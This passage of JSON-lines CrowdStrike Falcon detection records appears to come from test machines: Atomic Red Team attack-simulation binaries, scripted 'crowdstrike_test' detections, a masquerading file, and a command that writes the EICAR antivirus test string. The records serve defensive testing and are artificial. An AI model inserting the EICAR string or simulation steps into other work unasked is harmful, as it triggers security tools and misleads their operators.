https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"} +{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"} +{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"} +{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The 